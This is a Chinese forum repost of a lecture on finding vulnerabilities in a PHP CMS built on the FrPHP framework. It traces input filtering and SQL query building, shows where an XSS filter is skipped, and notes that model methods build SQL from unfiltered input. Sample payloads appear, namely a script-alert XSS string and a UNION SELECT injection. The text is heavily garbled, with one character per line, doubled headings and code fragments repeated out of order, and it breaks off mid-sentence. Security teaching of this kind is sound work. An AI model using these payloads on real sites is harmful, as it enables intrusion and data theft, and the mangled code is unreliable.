论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
安全讯息
[26618] 2020-03-22_网络安全公开课2020.3.21晚上内容分享
文档创建者:
s7ckTeam
浏览次数:
2
最后更新:
2025-01-19
安全讯息
2 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-58
6万
主题
-6万
回帖
-58
积分
管理员
积分
-58
发消息
2020-03-22_网络安全公开课2020.3.21晚上内容分享
网
络
安
全
公
开
课
2
0
2
0
.
3
.
2
1
晚
上
内
容
分
享
原
创
m
O
o
n
m
o
o
n
s
e
c
2
0
2
0
-
0
3
-
2
2
1
.
主
题
内
容
主
题
内
容
O
d
a
y
挖
掘
实
战
挖
掘
某
c
m
s
的
漏
洞
和
编
写
e
x
p
主
讲
暗
月
网
络
安
全
培
训
暗
月
1
.
1
通
过
本
公
开
可
以
学
习
的
内
容
通
过
本
公
开
可
以
学
习
的
内
容
p
h
p
动
态
调
试
m
v
c
架
构
分
析
源
代
码
流
程
分
析
越
权
漏
洞
的
挖
掘
框
架
上
容
易
忽
略
的
S
Q
L
注
入
p
y
t
h
o
n
编
写
p
o
c
和
e
x
p
2
.
技
术
分
享
技
术
分
享
2
.
1
源
码
是
源
码
是
m
v
c
架
构
架
构
什
么
是
什
么
是
m
v
c
P
H
P
中
M
V
C
模
式
也
称
W
e
b
M
V
C
,
从
上
世
纪
7
0
年
代
进
化
而
来
。
M
V
C
的
目
的
是
实
现
一
种
动
态
的
程
序
设
计
,
便
于
后
续
对
程
序
的
修
改
和
扩
展
简
化
,
并
且
使
程
序
某
一
部
分
的
重
复
利
用
成
为
可
能
。
除
此
之
外
,
此
模
式
通
过
对
复
杂
度
的
简
化
,
使
程
序
结
构
更
加
直
观
。
软
件
系
统
通
过
对
自
身
基
本
部
份
分
离
的
同
时
,
也
赋
予
了
各
个
基
本
部
分
应
有
的
功
能
。
2
.
2
P
H
P
中
中
M
V
C
模
式
也
称
模
式
也
称
W
e
b
M
V
C
从
上
世
纪
7
0
年
代
进
化
而
来
。
M
V
C
的
目
的
是
实
现
一
种
动
态
的
程
序
设
计
,
便
于
后
续
对
程
序
的
修
改
和
扩
展
简
化
,
并
且
使
程
序
某
一
部
分
的
重
复
利
用
成
为
可
能
。
除
此
之
外
,
此
模
式
通
过
对
复
杂
度
的
简
化
,
使
程
序
结
构
更
加
直
观
。
软
件
系
统
通
过
对
自
身
基
本
部
份
分
离
的
同
时
,
也
赋
予
了
各
个
基
本
部
分
应
有
的
功
能
。
2
.
3
架
构
分
析
架
构
分
析
m
v
c
架
构
的
源
码
一
般
都
分
为
前
台
和
后
台
两
个
文
件
分
开
处
理
项
目
分
别
是
前
台
i
n
d
e
x
.
p
h
p
后
台
a
d
m
i
n
.
p
h
p
分
别
访
问
各
个
项
目
。
2
.
3
.
1
F
r
p
h
p
框
架
的
核
心
文
件
框
架
的
核
心
文
件
2
.
3
.
2
C
o
m
m
o
n
文
件
下
是
一
些
框
架
配
置
文
件
文
件
下
是
一
些
框
架
配
置
文
件
c
o
n
f
i
g
.
p
h
p
一
些
默
认
常
量
的
设
置
'
T
p
l
_
s
t
y
l
e
'
=
>
'
/
P
u
b
l
i
c
'
,
/
/
公
共
静
态
文
件
'
T
p
l
_
c
o
m
m
o
n
'
=
>
'
c
o
m
m
o
n
'
,
/
/
模
板
公
共
目
录
H
o
m
e
V
i
e
w
c
o
m
m
o
n
'
A
P
P
_
H
O
M
E
'
=
>
'
H
o
m
e
'
,
/
/
默
认
前
台
目
录
'
A
P
P
_
U
R
L
'
=
>
'
/
i
n
d
e
x
.
p
h
p
'
,
/
/
默
认
前
台
入
口
'
H
O
M
E
_
C
O
N
T
R
O
L
L
E
R
'
=
>
'
C
o
n
t
r
o
l
l
e
r
'
,
/
/
默
认
控
制
器
文
件
目
录
'
H
O
M
E
_
M
O
D
E
L
'
=
>
'
M
o
d
e
l
'
,
/
/
默
认
模
型
文
件
目
录
'
H
O
M
E
_
V
I
E
W
'
=
>
'
V
i
e
w
'
,
/
/
默
认
模
板
文
件
目
录
'
T
p
l
_
t
e
m
p
l
a
t
e
'
=
>
'
'
,
/
/
默
认
模
板
目
录
-
二
级
目
录
-
多
端
口
配
置
'
F
i
l
e
_
T
X
T
'
=
>
'
.
h
t
m
l
'
,
/
/
默
认
模
板
后
缀
名
'
S
e
s
s
i
o
n
T
i
m
e
'
=
>
3
6
0
0
,
/
/
默
认
缓
存
时
间
2
.
3
.
3
F
u
n
c
t
i
o
n
s
.
p
h
p
一
些
核
心
公
共
函
数
库
集
合
一
些
核
心
公
共
函
数
库
集
合
2
.
3
.
4
E
x
t
e
n
d
是
一
些
扩
展
集
合
如
分
页
类
是
一
些
扩
展
集
合
如
分
页
类
验
证
码
验
证
码
邮
箱
发
送
邮
箱
发
送
第
三
方
集
合
第
三
方
集
合
2
.
3
.
5
l
i
b
文
件
下
是
框
架
的
一
些
基
类
文
件
下
是
框
架
的
一
些
基
类
C
o
n
t
r
o
l
l
e
r
.
p
h
p
控
制
器
的
基
类
M
o
d
e
l
.
p
h
p
模
型
处
理
里
面
是
数
据
库
处
理
函
数
集
合
V
i
e
w
.
p
h
p
视
图
处
理
基
类
2
.
3
.
6
F
r
.
p
h
p
是
框
架
核
心
处
理
文
件
是
框
架
核
心
处
理
文
件
系
统
运
行
的
加
载
的
配
置
信
信
定
义
全
局
控
制
器
及
方
法
常
量
路
由
的
处
理
路
由
拦
截
器
实
例
化
内
核
文
件
空
间
的
映
射
关
系
实
例
化
核
心
类
等
操
作
。
2
.
3
.
7
i
n
d
e
x
.
p
h
p
项
目
设
置
文
件
项
目
设
置
文
件
H
o
m
e
是
i
n
d
e
x
.
p
h
p
定
义
的
项
目
目
录
'
S
e
s
s
i
o
n
T
i
m
e
'
=
>
3
6
0
0
,
/
/
默
认
缓
存
时
间
'
A
P
P
_
D
E
B
U
G
'
=
>
f
a
l
s
e
,
/
/
关
闭
调
试
'
S
t
o
p
L
o
g
'
=
>
f
a
l
s
e
,
/
/
关
闭
事
件
日
志
'
D
e
f
a
u
l
t
C
o
n
t
r
o
l
l
e
r
'
=
>
'
H
o
m
e
'
,
/
/
默
认
控
制
器
'
D
e
f
a
u
l
t
A
c
t
i
o
n
'
=
>
'
i
n
d
e
x
'
,
/
/
默
认
方
法
'
o
p
e
n
_
u
r
l
_
r
o
u
t
e
'
=
>
t
r
u
e
,
/
/
开
启
自
定
义
路
由
'
o
p
e
n
_
r
e
d
i
s
_
s
e
s
s
i
o
n
'
=
>
f
a
l
s
e
,
/
/
开
启
r
e
d
i
s
缓
存
s
e
s
s
i
o
n
'
C
a
c
h
e
_
P
a
t
h
'
=
>
A
P
P
_
P
A
T
H
.
'
c
a
c
h
e
'
,
/
/
缓
存
目
录
'
S
e
s
s
i
o
n
_
P
a
t
h
'
=
>
A
P
P
_
P
A
T
H
.
'
c
a
c
h
e
/
t
m
p
'
,
/
/
s
e
s
s
i
o
n
存
储
目
录
'
A
P
P
k
_
L
A
N
G
'
=
>
'
z
h
_
c
n
'
,
/
/
默
认
当
前
语
言
,
z
h
_
c
n
中
文
简
体
,
其
他
自
定
义
'
A
P
P
_
L
A
N
G
_
R
E
Q
U
R
E
S
T
'
=
>
'
l
'
,
/
/
语
言
包
接
收
参
数
(
小
写
的
L
)
'
R
O
O
T
'
=
>
'
/
'
,
/
/
根
目
录
路
径
/
/
应
用
目
录
为
当
前
目
录
d
e
f
i
n
e
(
'
A
P
P
_
P
A
T
H
'
,
_
_
D
I
R
_
_
.
'
/
'
)
;
/
/
开
启
调
试
模
式
/
/
d
e
f
i
n
e
(
'
A
P
P
_
D
E
B
U
G
'
,
t
r
u
e
)
;
/
/
定
义
项
目
目
录
d
e
f
i
n
e
(
'
A
P
P
_
H
O
M
E
'
,
'
H
o
m
e
'
)
;
/
/
定
义
项
目
模
板
文
件
目
录
d
e
f
i
n
e
(
'
H
O
M
E
_
V
I
E
W
'
,
'
t
e
m
p
l
a
t
e
'
)
;
/
/
定
义
项
目
模
板
公
共
文
件
目
录
d
e
f
i
n
e
(
'
T
p
l
_
c
o
m
m
o
n
'
,
'
'
)
;
/
/
定
义
项
目
控
制
器
文
件
目
录
d
e
f
i
n
e
(
'
H
O
M
E
_
C
O
N
T
R
O
L
L
E
R
'
,
'
c
'
)
;
/
/
定
义
项
目
模
型
文
件
目
录
d
e
f
i
n
e
(
'
H
O
M
E
_
M
O
D
E
L
'
,
'
m
'
)
;
/
/
定
义
项
目
默
认
方
法
d
e
f
i
n
e
(
'
D
e
f
a
u
l
t
A
c
t
i
o
n
'
,
'
j
i
z
h
i
'
)
;
/
/
取
消
l
o
g
d
e
f
i
n
e
(
'
S
t
o
p
L
o
g
'
,
f
a
l
s
e
)
;
i
f
(
b
a
s
e
n
a
m
e
(
$
_
S
E
R
V
E
R
[
'
S
C
R
I
P
T
_
N
A
M
E
'
]
)
=
=
=
b
a
s
e
n
a
m
e
(
$
_
S
E
R
V
E
R
[
'
S
C
R
I
P
T
_
F
I
L
E
N
A
M
E
'
]
)
)
{
$
u
r
l
_
p
a
t
h
_
b
a
s
e
=
$
_
S
E
R
V
E
R
[
'
S
C
R
I
P
T
_
N
A
M
E
'
]
;
}
e
l
s
e
i
f
(
b
a
s
e
n
a
m
e
(
$
_
S
E
R
V
E
R
[
'
P
H
P
_
S
E
L
F
'
]
)
=
=
=
b
a
s
e
n
a
m
e
(
$
_
S
E
R
V
E
R
[
'
S
C
R
I
P
T
_
F
I
L
E
N
A
M
E
'
]
)
)
{
$
u
r
l
_
p
a
t
h
_
b
a
s
e
=
$
_
S
E
R
V
E
R
[
'
P
H
P
_
S
E
L
F
'
]
;
}
e
l
s
e
i
f
(
i
s
s
e
t
(
$
_
S
E
R
V
E
R
[
'
O
R
I
G
_
S
C
R
I
P
T
_
N
A
M
E
'
]
)
&
&
b
a
s
e
n
a
m
e
(
$
_
S
E
R
V
E
R
[
'
O
R
I
G
_
S
C
R
I
P
T
_
N
A
M
E
'
]
)
=
=
=
b
a
s
e
n
a
m
e
(
$
_
S
E
R
V
E
R
[
'
S
C
R
I
P
T
_
F
I
L
E
N
A
M
E
'
]
)
)
{
$
u
r
l
_
p
a
t
h
_
b
a
s
e
=
$
_
S
E
R
V
E
R
[
'
O
R
I
G
_
S
C
R
I
P
T
_
N
A
M
E
'
]
;
}
$
r
o
o
t
u
r
l
=
p
a
t
h
i
n
f
o
(
$
u
r
l
_
p
a
t
h
_
b
a
s
e
)
;
$
r
o
o
t
=
s
t
r
_
r
e
p
l
a
c
e
(
$
r
o
o
t
u
r
l
[
"
b
a
s
e
n
a
m
e
"
]
,
'
'
,
$
u
r
l
_
p
a
t
h
_
b
a
s
e
)
;
/
/
定
义
静
态
文
件
路
径
d
e
f
i
n
e
(
'
T
p
l
_
s
t
y
l
e
'
,
$
r
o
o
t
.
'
s
t
a
t
i
c
/
'
)
;
/
/
加
载
框
架
文
件
r
e
q
u
i
r
e
(
A
P
P
_
P
A
T
H
.
'
F
r
P
H
P
/
F
r
.
p
h
p
'
)
;
/
/
就
这
么
简
单
~
c
下
的
文
件
是
控
制
器
t
e
m
p
l
a
t
e
下
视
图
模
板
一
般
与
控
机
器
名
相
同
2
.
3
.
8
控
制
器
控
制
器
H
o
m
e
C
o
n
t
r
o
l
l
e
r
.
p
h
p
这
个
是
首
页
的
控
制
器
h
o
m
e
访
问
首
页
的
时
候
会
触
发
i
n
d
e
x
方
法
,
接
着
检
测
是
否
存
在
缓
存
,
读
取
缓
存
$
t
h
i
s
-
>
d
i
s
p
l
a
y
选
择
视
图
模
板
进
行
渲
染
显
示
。
后
台
文
件
a
d
m
i
n
.
p
h
p
与
i
n
d
e
x
.
p
h
p
一
样
。
不
用
再
去
分
析
了
,
除
非
想
挖
掘
后
台
方
面
的
漏
洞
或
者
h
o
m
e
下
的
文
件
有
些
漏
洞
利
用
条
件
需
要
后
台
设
置
。
2
.
3
.
8
l
o
g
i
n
控
制
器
文
件
分
析
控
制
器
文
件
分
析
H
o
m
e
c
L
o
g
i
n
C
o
n
t
r
o
l
l
e
r
.
p
h
p
u
s
e
F
r
P
H
P
l
i
b
C
o
n
t
r
o
l
l
e
r
;
u
s
e
F
r
P
H
P
E
x
t
e
n
d
P
a
g
e
;
u
s
e
F
r
P
H
P
E
x
t
e
n
d
A
r
r
a
y
P
a
g
e
;
c
l
a
s
s
H
o
m
e
C
o
n
t
r
o
l
l
e
r
e
x
t
e
n
d
s
C
o
m
m
o
n
C
o
n
t
r
o
l
l
e
r
{
/
/
首
页
f
u
n
c
t
i
o
n
i
n
d
e
x
(
)
{
/
/
检
查
缓
存
$
u
r
l
=
c
u
r
r
e
n
t
_
u
r
l
(
)
;
$
c
a
c
h
e
_
f
i
l
e
=
A
P
P
_
P
A
T
H
.
'
c
a
c
h
e
/
d
a
t
a
/
'
.
m
d
5
(
f
r
e
n
c
o
d
e
(
$
u
r
l
)
)
;
$
t
h
i
s
-
>
c
a
c
h
e
_
f
i
l
e
=
$
c
a
c
h
e
_
f
i
l
e
;
$
t
h
i
s
-
>
s
t
a
r
t
_
c
a
c
h
e
(
$
c
a
c
h
e
_
f
i
l
e
)
;
$
t
h
i
s
-
>
d
i
s
p
l
a
y
(
$
t
h
i
s
-
>
t
e
m
p
l
a
t
e
.
'
/
i
n
d
e
x
'
)
;
$
t
h
i
s
-
>
e
n
d
_
c
a
c
h
e
(
$
t
h
i
s
-
>
c
a
c
h
e
_
f
i
l
e
)
;
}
p
u
b
l
i
c
f
u
n
c
t
i
o
n
i
n
d
e
x
(
)
{
/
/
检
测
是
否
已
经
设
置
过
r
e
t
u
r
n
_
u
r
l
,
防
止
多
次
登
录
覆
盖
i
f
(
!
i
s
s
e
t
(
$
_
S
E
S
S
I
O
N
[
'
r
e
t
u
r
n
_
u
r
l
'
]
)
)
{
$
r
e
f
e
r
e
r
=
(
!
i
s
s
e
t
(
$
_
S
E
R
V
E
R
[
'
H
T
T
P
_
R
E
F
E
R
E
R
'
]
)
|
|
$
_
S
E
R
V
E
R
[
'
H
T
T
P
_
R
E
F
E
R
E
R
'
]
=
=
'
'
)
?
U
(
'
u
s
e
r
/
i
n
d
e
x
'
)
:
$
_
S
E
R
V
E
R
[
'
H
T
T
P
_
R
E
F
E
R
E
R
'
]
;
$
_
S
E
S
S
I
O
N
[
'
r
e
t
u
r
n
_
u
r
l
'
]
=
$
r
e
f
e
r
e
r
;
}
i
f
(
$
_
P
O
S
T
)
{
$
d
a
t
a
[
'
u
s
e
r
n
a
m
e
'
]
=
s
t
r
_
r
e
p
l
a
c
e
(
"
'
"
,
'
'
,
$
t
h
i
s
-
>
f
r
p
a
r
a
m
(
'
t
e
l
'
,
1
)
)
;
/
/
进
行
二
次
过
滤
校
验
$
d
a
t
a
[
'
p
a
s
s
w
o
r
d
'
]
=
s
t
r
_
r
e
p
l
a
c
e
(
"
'
"
,
'
'
,
$
t
h
i
s
-
>
f
r
p
a
r
a
m
(
'
p
a
s
s
w
o
r
d
'
,
1
)
)
;
i
f
(
!
$
t
h
i
s
-
>
f
r
p
a
r
a
m
(
'
v
e
r
c
o
d
e
'
,
1
)
|
|
m
d
5
(
m
d
5
(
$
t
h
i
s
-
>
f
r
p
a
r
a
m
(
'
v
e
r
c
o
d
e
'
,
1
)
)
)
!
=
$
_
S
E
S
S
I
O
N
[
'
l
o
g
i
n
_
v
e
r
c
o
d
e
'
]
)
{
$
x
d
a
t
a
=
a
r
r
a
y
(
'
c
o
d
e
'
=
>
1
,
'
m
s
g
'
=
>
'
验
证
码
错
误
!
'
)
;
i
f
(
$
t
h
i
s
-
>
f
r
p
a
r
a
m
(
'
a
j
a
x
'
)
)
{
J
s
o
n
R
e
t
u
r
n
(
$
x
d
a
t
a
)
;
}
E
r
r
o
r
(
'
验
证
码
错
误
!
'
)
;
}
i
f
(
$
d
a
t
a
[
'
u
s
e
r
n
a
m
e
'
]
=
=
'
'
|
|
$
d
a
t
a
[
'
p
a
s
s
w
o
r
d
'
]
=
=
'
'
)
{
$
x
d
a
t
a
=
a
r
r
a
y
(
'
c
o
d
e
'
=
>
1
,
'
m
s
g
'
=
>
'
账
户
密
码
不
能
为
空
!
'
)
;
i
f
(
$
t
h
i
s
-
>
f
r
p
a
r
a
m
(
'
a
j
a
x
'
)
)
{
J
s
o
n
R
e
t
u
r
n
(
$
x
d
a
t
a
)
;
}
E
r
r
o
r
(
'
账
户
密
码
不
能
为
空
!
'
)
;
}
跟
踪
$
t
h
i
s
-
>
f
r
p
a
r
a
m
(
)
函
数
当
输
入
账
号
的
时
候
$
t
h
i
s
-
>
f
r
p
a
r
a
m
(
'
t
e
l
'
,
1
)
没
有
设
置
方
法
m
e
t
h
o
d
等
于
n
u
l
l
直
接
带
入
函
数
,
跟
踪
f
o
r
m
a
t
_
p
a
r
a
m
函
数
F
r
P
H
P
c
o
m
m
o
n
F
u
n
c
t
i
o
n
s
.
p
h
p
实
体
过
滤
也
会
过
滤
单
引
号
和
双
引
号
,
如
果
没
有
开
g
p
c
自
动
a
d
d
s
l
a
s
h
e
s
转
义
。
所
以
输
入
1
'
过
滤
1
&
#
0
3
9
;
跟
进
a
r
r
a
y
_
w
a
l
k
_
r
e
c
u
r
s
i
v
e
每
个
传
入
的
组
也
是
实
体
过
滤
p
u
b
l
i
c
f
u
n
c
t
i
o
n
f
r
p
a
r
a
m
(
$
s
t
r
=
n
u
l
l
,
$
i
n
t
=
0
,
$
d
e
f
a
u
l
t
=
F
A
L
S
E
,
$
m
e
t
h
o
d
=
n
u
l
l
)
{
$
d
a
t
a
=
$
t
h
i
s
-
>
_
d
a
t
a
;
/
/
取
到
u
s
e
r
n
a
m
e
的
值
i
f
(
$
s
t
r
=
=
=
n
u
l
l
)
r
e
t
u
r
n
$
d
a
t
a
;
i
f
(
!
a
r
r
a
y
_
k
e
y
_
e
x
i
s
t
s
(
$
s
t
r
,
$
d
a
t
a
)
)
{
/
/
判
断
字
符
串
的
在
$
d
a
t
a
数
组
内
r
e
t
u
r
n
(
$
d
e
f
a
u
l
t
=
=
=
F
A
L
S
E
)
?
f
a
l
s
e
:
$
d
e
f
a
u
l
t
;
}
i
f
(
$
m
e
t
h
o
d
=
=
=
n
u
l
l
)
{
$
v
a
l
u
e
=
$
d
a
t
a
[
$
s
t
r
]
;
}
e
l
s
e
{
$
m
e
t
h
o
d
=
s
t
r
t
o
l
o
w
e
r
(
$
m
e
t
h
o
d
)
;
s
w
i
t
c
h
(
$
m
e
t
h
o
d
)
{
c
a
s
e
'
g
e
t
'
:
$
v
a
l
u
e
=
$
_
G
E
T
[
$
s
t
r
]
;
b
r
e
a
k
;
c
a
s
e
'
p
o
s
t
'
:
$
v
a
l
u
e
=
$
_
P
O
S
T
[
$
s
t
r
]
;
b
r
e
a
k
;
c
a
s
e
'
c
o
o
k
i
e
'
:
$
v
a
l
u
e
=
$
_
C
O
O
K
I
E
[
$
s
t
r
]
;
b
r
e
a
k
;
}
}
r
e
t
u
r
n
f
o
r
m
a
t
_
p
a
r
a
m
(
$
v
a
l
u
e
,
$
i
n
t
)
;
}
f
u
n
c
t
i
o
n
f
o
r
m
a
t
_
p
a
r
a
m
(
$
v
a
l
u
e
=
n
u
l
l
,
$
i
n
t
=
0
)
{
i
f
(
$
v
a
l
u
e
=
=
n
u
l
l
)
{
r
e
t
u
r
n
'
'
;
}
s
w
i
t
c
h
(
$
i
n
t
)
{
c
a
s
e
0
:
/
/
整
数
r
e
t
u
r
n
(
i
n
t
)
$
v
a
l
u
e
;
c
a
s
e
1
:
/
/
字
符
串
$
v
a
l
u
e
=
h
t
m
l
s
p
e
c
i
a
l
c
h
a
r
s
(
t
r
i
m
(
$
v
a
l
u
e
)
,
E
N
T
_
Q
U
O
T
E
S
)
;
i
f
(
!
g
e
t
_
m
a
g
i
c
_
q
u
o
t
e
s
_
g
p
c
(
)
)
$
v
a
l
u
e
=
a
d
d
s
l
a
s
h
e
s
(
$
v
a
l
u
e
)
;
r
e
t
u
r
n
$
v
a
l
u
e
;
c
a
s
e
2
:
/
/
数
组
i
f
(
$
v
a
l
u
e
=
=
'
'
)
r
e
t
u
r
n
'
'
;
a
r
r
a
y
_
w
a
l
k
_
r
e
c
u
r
s
i
v
e
(
$
v
a
l
u
e
,
"
a
r
r
a
y
_
f
o
r
m
a
t
"
)
;
r
e
t
u
r
n
$
v
a
l
u
e
;
c
a
s
e
3
:
/
/
浮
点
r
e
t
u
r
n
(
f
l
o
a
t
)
$
v
a
l
u
e
;
c
a
s
e
4
:
i
f
(
!
g
e
t
_
m
a
g
i
c
_
q
u
o
t
e
s
_
g
p
c
(
)
)
$
v
a
l
u
e
=
a
d
d
s
l
a
s
h
e
s
(
$
v
a
l
u
e
)
;
r
e
t
u
r
n
t
r
i
m
(
$
v
a
l
u
e
)
;
}
}
c
a
s
e
1
:
/
/
字
符
串
$
v
a
l
u
e
=
h
t
m
l
s
p
e
c
i
a
l
c
h
a
r
s
(
t
r
i
m
(
$
v
a
l
u
e
)
,
E
N
T
_
Q
U
O
T
E
S
)
;
i
f
(
!
g
e
t
_
m
a
g
i
c
_
q
u
o
t
e
s
_
g
p
c
(
)
)
$
v
a
l
u
e
=
a
d
d
s
l
a
s
h
e
s
(
$
v
a
l
u
e
)
;
r
e
t
u
r
n
$
v
a
l
u
e
;
$
v
a
l
u
e
=
h
t
m
l
s
p
e
c
i
a
l
c
h
a
r
s
(
t
r
i
m
(
$
v
a
l
u
e
)
,
E
N
T
_
Q
U
O
T
E
S
)
;
c
a
s
e
2
:
/
/
数
组
i
f
(
$
v
a
l
u
e
=
=
'
'
)
r
e
t
u
r
n
'
'
;
a
r
r
a
y
_
w
a
l
k
_
r
e
c
u
r
s
i
v
e
(
$
v
a
l
u
e
,
"
a
r
r
a
y
_
f
o
r
m
a
t
"
)
;
r
e
t
u
r
n
$
v
a
l
u
e
;
f
u
n
c
t
i
o
n
a
r
r
a
y
_
f
o
r
m
a
t
(
&
$
i
t
e
m
,
$
k
e
y
)
{
$
i
t
e
m
=
t
r
i
m
(
$
i
t
e
m
)
;
$
i
t
e
m
=
h
t
m
l
s
p
e
c
i
a
l
c
h
a
r
s
(
$
i
t
e
m
,
E
N
T
_
Q
U
O
T
E
S
)
;
i
f
(
!
g
e
t
_
m
a
g
i
c
_
q
u
o
t
e
s
_
g
p
c
(
)
)
$
i
t
e
m
=
a
d
d
s
l
a
s
h
e
s
(
$
i
t
e
m
)
;
}
只
要
是
1
和
2
的
时
候
都
被
过
滤
x
s
s
和
字
符
当
传
入
4
的
时
候
会
过
滤
字
符
x
s
s
没
过
滤
假
入
没
有
开
始
g
p
c
的
情
况
下
会
调
用
这
个
A
d
d
s
l
a
s
h
e
s
I
(
)
进
行
过
滤
1
'
=
1
'
假
如
是
字
符
串
类
型
的
话
就
会
过
滤
.
假
如
这
里
输
一
个
i
n
t
也
会
造
成
注
入
的
>
<
s
c
r
i
p
t
>
a
l
e
r
t
(
1
)
;
<
/
s
c
r
i
p
t
>
s
e
l
e
c
t
*
f
r
o
m
j
z
_
m
e
m
b
e
r
w
h
e
r
e
i
d
=
1
u
n
i
o
n
s
e
l
e
c
t
4
,
5
,
u
s
e
r
(
)
添
加
用
户
$
d
a
t
a
[
'
p
a
s
s
w
o
r
d
'
]
=
s
t
r
_
r
e
p
l
a
c
e
(
"
'
"
,
'
'
,
$
t
h
i
s
-
>
f
r
p
a
r
a
m
(
'
p
a
s
s
w
o
r
d
'
,
4
)
)
;
增
加
到
数
据
库
里
面
<
s
c
r
i
p
t
>
a
l
e
r
t
(
1
)
;
<
/
s
c
r
i
p
t
>
就
会
造
成
x
s
s
2
.
8
.
9
分
析
分
析
m
o
d
e
类
下
的
函
数
类
下
的
函
数
F
r
P
H
P
l
i
b
M
o
d
e
l
.
p
h
p
c
a
s
e
4
:
i
f
(
!
g
e
t
_
m
a
g
i
c
_
q
u
o
t
e
s
_
g
p
c
(
)
)
$
v
a
l
u
e
=
a
d
d
s
l
a
s
h
e
s
(
$
v
a
l
u
e
)
;
r
e
t
u
r
n
t
r
i
m
(
$
v
a
l
u
e
)
;
p
u
b
l
i
c
f
u
n
c
t
i
o
n
f
i
n
d
(
$
w
h
e
r
e
=
n
u
l
l
,
$
o
r
d
e
r
=
n
u
l
l
,
$
f
i
e
l
d
s
=
n
u
l
l
,
$
l
i
m
i
t
=
1
)
{
i
f
(
$
r
e
c
o
r
d
=
$
t
h
i
s
-
>
f
i
n
d
A
l
l
(
$
w
h
e
r
e
,
$
o
r
d
e
r
,
$
f
i
e
l
d
s
,
1
)
)
{
r
e
t
u
r
n
a
r
r
a
y
_
p
o
p
(
$
r
e
c
o
r
d
)
;
}
e
l
s
e
{
r
e
t
u
r
n
F
A
L
S
E
;
}
}
/
/
查
询
所
有
p
u
b
l
i
c
f
u
n
c
t
i
o
n
f
i
n
d
A
l
l
(
$
c
o
n
d
i
t
i
o
n
s
=
n
u
l
l
,
$
o
r
d
e
r
=
n
u
l
l
,
$
f
i
e
l
d
s
=
n
u
l
l
,
$
l
i
m
i
t
=
n
u
l
l
)
{
$
w
h
e
r
e
=
'
'
;
i
f
(
i
s
_
a
r
r
a
y
(
$
c
o
n
d
i
t
i
o
n
s
)
)
{
$
j
o
i
n
=
a
r
r
a
y
(
)
;
f
o
r
e
a
c
h
(
$
c
o
n
d
i
t
i
o
n
s
a
s
$
k
e
y
=
>
$
v
a
l
u
e
)
{
$
v
a
l
u
e
=
'
'
'
.
$
v
a
l
u
e
.
'
'
'
;
$
j
o
i
n
[
]
=
"
{
$
k
e
y
}
=
{
$
v
a
l
u
e
}
"
;
}
$
w
h
e
r
e
=
"
W
H
E
R
E
"
.
j
o
i
n
(
"
A
N
D
"
,
$
j
o
i
n
)
;
}
e
l
s
e
{
i
f
(
n
u
l
l
!
=
$
c
o
n
d
i
t
i
o
n
s
)
$
w
h
e
r
e
=
"
W
H
E
R
E
"
.
$
c
o
n
d
i
t
i
o
n
s
;
}
i
f
(
i
s
_
a
r
r
a
y
(
$
o
r
d
e
r
)
)
{
$
w
h
e
r
e
.
=
'
O
R
D
E
R
B
Y
'
;
$
w
h
e
r
e
.
=
i
m
p
l
o
d
e
(
'
,
'
,
$
o
r
d
e
r
)
;
}
e
l
s
e
{
i
f
(
$
o
r
d
e
r
!
=
n
u
l
l
)
$
w
h
e
r
e
.
=
"
O
R
D
E
R
B
Y
"
.
$
o
r
d
e
r
;
}
i
f
(
!
e
m
p
t
y
(
$
l
i
m
i
t
)
)
$
w
h
e
r
e
.
=
"
L
I
M
I
T
{
$
l
i
m
i
t
}
"
;
$
f
i
e
l
d
s
=
e
m
p
t
y
(
$
f
i
e
l
d
s
)
?
"
*
"
:
$
f
i
e
l
d
s
;
$
t
a
b
l
e
=
s
e
l
f
:
:
$
t
a
b
l
e
;
$
s
q
l
=
"
S
E
L
E
C
T
{
$
f
i
e
l
d
s
}
F
R
O
M
{
$
t
a
b
l
e
}
{
$
w
h
e
r
e
}
"
;
r
e
t
u
r
n
$
t
h
i
s
-
>
d
b
-
>
g
e
t
A
r
r
a
y
(
$
s
q
l
)
;
}
p
u
b
l
i
c
f
u
n
c
t
i
o
n
g
e
t
A
r
r
a
y
(
$
s
q
l
)
{
i
f
(
!
$
r
e
s
u
l
t
=
$
t
h
i
s
-
>
q
u
e
r
y
(
$
s
q
l
)
)
r
e
t
u
r
n
a
r
r
a
y
(
)
;
i
f
(
!
$
t
h
i
s
-
>
S
t
a
t
e
m
e
n
t
-
>
r
o
w
C
o
u
n
t
(
)
)
r
e
t
u
r
n
a
r
r
a
y
(
)
;
$
r
o
w
s
=
a
r
r
a
y
(
)
;
w
h
i
l
e
(
$
r
o
w
s
[
]
=
$
t
h
i
s
-
>
S
t
a
t
e
m
e
n
t
-
>
f
e
t
c
h
(
P
D
O
:
:
F
E
T
C
H
_
A
S
S
O
C
)
)
{
}
$
t
h
i
s
-
>
S
t
a
t
e
m
e
n
t
=
n
u
l
l
;
a
r
r
a
y
_
p
o
p
(
$
r
o
w
s
)
;
r
e
t
u
r
n
$
r
o
w
s
;
}
/
/
执
行
S
Q
L
语
句
,
返
回
P
D
O
S
t
a
t
e
m
e
n
t
对
象
,
可
以
理
解
为
结
果
集
p
u
b
l
i
c
f
u
n
c
t
i
o
n
q
u
e
r
y
(
$
s
q
l
)
{
$
t
h
i
s
-
>
a
r
r
S
q
l
[
]
=
$
s
q
l
;
$
t
h
i
s
-
>
S
t
a
t
e
m
e
n
t
=
$
t
h
i
s
-
>
p
d
o
-
>
q
u
e
r
y
(
$
s
q
l
)
;
i
f
(
$
t
h
i
s
-
>
S
t
a
t
e
m
e
n
t
)
{
r
e
t
u
r
n
$
t
h
i
s
;
}
e
l
s
e
{
$
m
s
g
=
$
t
h
i
s
-
>
p
d
o
-
>
e
r
r
o
r
I
n
f
o
(
)
;
i
f
(
$
m
s
g
[
2
]
)
{
E
r
r
o
r
_
m
s
g
(
'
数
据
库
错
误
:
'
.
$
m
s
g
[
2
]
.
e
n
d
(
$
t
h
i
s
-
>
a
r
r
S
q
l
)
)
;
}
M
o
d
e
l
.
p
h
p
定
义
所
有
的
方
法
都
是
都
是
没
有
被
过
滤
的
跟
以
前
的
t
h
i
n
k
p
h
p
一
个
样
在
l
o
g
i
n
控
制
器
下
创
建
一
个
函
数
输
入
'
3
.
漏
洞
挖
掘
漏
洞
挖
掘
鉴
于
公
开
课
时
间
关
系
,
只
挖
掘
一
些
逻
辑
漏
洞
如
越
权
漏
洞
和
一
些
S
Q
L
注
入
漏
洞
。
3
.
1
越
权
漏
洞
越
权
漏
洞
越
权
漏
洞
是
框
架
创
建
的
漏
洞
挖
